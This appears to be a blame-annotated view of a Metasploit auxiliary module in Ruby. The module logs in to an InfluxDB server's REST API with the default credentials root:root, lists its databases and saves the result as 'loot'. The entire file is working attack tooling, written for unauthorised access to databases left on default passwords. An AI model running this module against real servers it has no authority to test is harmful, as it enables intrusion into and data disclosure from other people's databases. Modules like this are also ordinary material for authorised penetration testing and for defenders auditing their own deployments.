2015-04-25 07:41:33 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-04-25 07:41:33 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'InfluxDB Enum Utility',
|
|
|
|
'Description' => %q{
|
2015-05-26 22:00:10 +00:00
|
|
|
This module enumerates databases on InfluxDB using the REST API using the
|
|
|
|
default authentication of root:root.
|
2015-04-25 07:41:33 +00:00
|
|
|
},
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://influxdb.com/docs/v0.9/concepts/reading_and_writing_data.html']
|
|
|
|
],
|
|
|
|
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8086),
|
|
|
|
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/db']),
|
|
|
|
OptString.new('USERNAME', [true, 'The username to login as', 'root']),
|
|
|
|
OptString.new('PASSWORD', [true, 'The password to login with', 'root'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2015-04-25 18:08:36 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi(
|
|
|
|
'uri' => normalize_uri(target_uri.path),
|
|
|
|
'method' => 'GET'
|
|
|
|
)
|
|
|
|
rescue ::Errno::EPIPE, ::Timeout::Error, ::EOFError, ::IOError => e
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("The following Error was encountered: #{e.class}")
|
2015-04-25 18:08:36 +00:00
|
|
|
return
|
|
|
|
end
|
2015-04-25 07:41:33 +00:00
|
|
|
|
2015-04-25 20:18:38 +00:00
|
|
|
unless res
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Server did not respond in an expected way.")
|
2015-04-25 07:41:33 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2015-04-25 20:18:38 +00:00
|
|
|
if res.code == 401 && res.body =~ /Invalid username\/password/
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Failed to authenticate. Invalid username/password.")
|
2015-04-25 20:18:38 +00:00
|
|
|
return
|
|
|
|
elsif res.code == 200 && res.headers.include?('X-Influxdb-Version') && res.body.length > 0
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Enumerating...")
|
2015-04-25 07:41:33 +00:00
|
|
|
begin
|
|
|
|
temp = JSON.parse(res.body)
|
2015-05-14 16:22:10 +00:00
|
|
|
if temp.blank?
|
2016-02-01 22:06:34 +00:00
|
|
|
print_status("Json data is empty")
|
2015-05-14 16:22:10 +00:00
|
|
|
return
|
|
|
|
end
|
2015-04-25 07:41:33 +00:00
|
|
|
results = JSON.pretty_generate(temp)
|
|
|
|
rescue JSON::ParserError
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Unable to parse JSON data.")
|
2015-04-25 18:08:36 +00:00
|
|
|
return
|
2015-04-25 07:41:33 +00:00
|
|
|
end
|
|
|
|
print_good("Found:\n\n#{results}\n")
|
|
|
|
path = store_loot(
|
|
|
|
'influxdb.enum',
|
|
|
|
'text/plain',
|
|
|
|
rhost,
|
|
|
|
results,
|
|
|
|
'InfluxDB Enum'
|
|
|
|
)
|
2016-02-01 22:06:34 +00:00
|
|
|
print_good("File saved in: #{path}")
|
2015-04-25 07:41:33 +00:00
|
|
|
else
|
2016-02-01 22:06:34 +00:00
|
|
|
print_error("Unable to enum, received \"#{res.code}\"")
|
2015-04-25 07:41:33 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|